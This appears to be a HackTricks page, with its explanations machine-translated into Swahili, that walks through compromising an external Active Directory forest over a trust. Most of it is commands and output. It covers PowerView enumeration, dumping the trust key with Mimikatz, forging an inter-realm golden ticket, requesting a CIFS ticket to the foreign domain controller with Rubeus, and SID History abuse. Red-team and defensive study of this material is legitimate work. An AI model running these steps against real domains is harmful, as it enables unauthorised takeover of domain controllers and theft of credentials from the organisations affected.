External Forest Domain - OneWay (Inbound) or bidirectional

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Katika hali hii, kikoa cha nje kinakutegemea (au wote wanategemeana), hivyo unaweza kupata aina fulani ya ufikiaji juu yake.

Enumeration

Kwanza kabisa, unahitaji kuhesabu imani:

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external

# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain             : domain.external
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain            : domain.external
MemberName              : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external

# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins

# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser

# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName    : Administrators
MemberName   : SUB\External Admins
SID          : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup      : True
IsDomain     : True

# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.

Katika uainishaji wa awali, iligundulika kwamba mtumiaji crossuser yuko ndani ya kundi la External Admins ambalo lina upatikanaji wa Admin ndani ya DC ya eneo la nje.

Upatikanaji wa Awali

Ikiwa hujaweza kupata upatikanaji maalum wa mtumiaji wako katika eneo lingine, bado unaweza kurudi kwenye Mbinu za AD na kujaribu privesc kutoka kwa mtumiaji asiye na mamlaka (mambo kama kerberoasting kwa mfano):

Unaweza kutumia Powerview functions ili kuainisha eneo lingine kwa kutumia param ya -Domain kama ilivyo:

Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName

Active Directory Methodology

Uigaji

Kuingia

Kwa kutumia njia ya kawaida na akidi za watumiaji ambao wana ufikiaji wa eneo la nje unapaswa kuwa na uwezo wa kufikia:

Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator

SID History Abuse

Unaweza pia kutumia SID History kupitia uaminifu wa msitu.

Ikiwa mtumiaji anahamishwa kutoka msitu mmoja hadi mwingine na SID Filtering haijawashwa, inakuwa inawezekana kuongeza SID kutoka msitu mwingine, na hii SID itakuwa imeongezwa kwenye token ya mtumiaji wakati wa uthibitishaji kupitia uaminifu.

Kumbuka, unaweza kupata funguo ya kusaini na

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local

Unaweza kusaini na funguo iliyoaminika TGT ikijifanya mtumiaji wa eneo la sasa.

# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

Njia kamili ya kujifanya kuwa mtumiaji

# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.